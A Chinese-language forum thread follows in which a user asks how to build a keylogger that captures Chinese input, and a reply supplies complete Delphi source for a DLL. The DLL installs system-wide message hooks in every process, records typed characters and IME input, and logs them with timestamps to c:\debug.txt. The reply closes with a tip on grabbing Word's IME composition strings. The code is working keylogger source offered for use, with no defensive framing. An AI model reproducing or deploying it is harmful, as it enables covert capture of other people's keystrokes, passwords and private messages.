求：如何实现【中文】键盘记录?

[701701]

求：如何实现【中文】键盘记录?

最好有delphi原代码

谢谢了，各位。

[常遇道]

library keyHook;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }

uses
SysUtils,
Messages,
windows,
Dialogs,
stdctrls,
Classes;



const
afilename='c:\debug.txt';
MAXSIZE=60;
type
TKeyBuf=record //键盘缓冲区
count:integer; //计数器
Buf:String;//缓冲区的内容
end;

var
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
procsaveexit:pointer;
keyBuf:TKeyBuf; //键盘缓冲区实例
//.................................

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,afilename);
if fileexists(afilename)=false then rewrite(f)
else append(f);
Writeln(f, TimeToStr(now())+' '+str);
closefile(f);
end;
//................................................
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ch:Char;
begin

if (uMessage=WM_IME_CHAR) then //针对输入法
begin
inc(keyBuf.count,2);
keyBuf.Buf:=keyBuf.Buf+chr((wparam shr 8) and $ff)+chr(wparam and $ff);

if (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end;
end
else
if (((uMessage=WM_CHAR))) and ((lParam and $1)=1) then //无输入法
begin
ch:=chr(wparam and $ff);

if (ch<>#13) and (ord(ch)<128) then
begin
inc(keyBuf.count);
keyBuf.Buf:=keyBuf.Buf+ch;
end;

if (ch=#13) or (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end
end;

end;
//..................................
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHGetMsgProc,nCode,wParam,lParam);
end;
//................................................................
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//.......................................
function setkeyhook:bool;
begin
if HHGetMsgProc=0 then
begin
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstance,0);
end;

if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;

if (HHGetMsgProc<>0) and (HHCallWndProc<>0) then
begin
result:=True;
messageBeep(0);
end
else
Result:=False;


end;
//...........................................
function endkeyhook:bool;
begin
if HHCallWndProc<>0 then unhookwindowshookex(HHCallWndProc);
if HHGetMsgProc<>0 then unhookwindowshookex(HHGetMsgProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
messagebeep(0);


if (HHCallWndProc=0) and (HHGetMsgProc=0)then
result:=true
else
result:=false;
end;
//............................................
procedure keyhookexit;
begin
if HHGetMsgProc<>0 then
endkeyhook;
exitproc:=procsaveexit;
end;
{$R *.res}

exports
setkeyhook, endkeyhook;

begin
HHGetMsgProc:=0;
HHCallWndProc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.

另外，特殊的汉字数据，如WORD中汉字，需使用WM_IME_COMPOSITION消息，要利用ImmGetCompositionString函数得到所输入的汉字。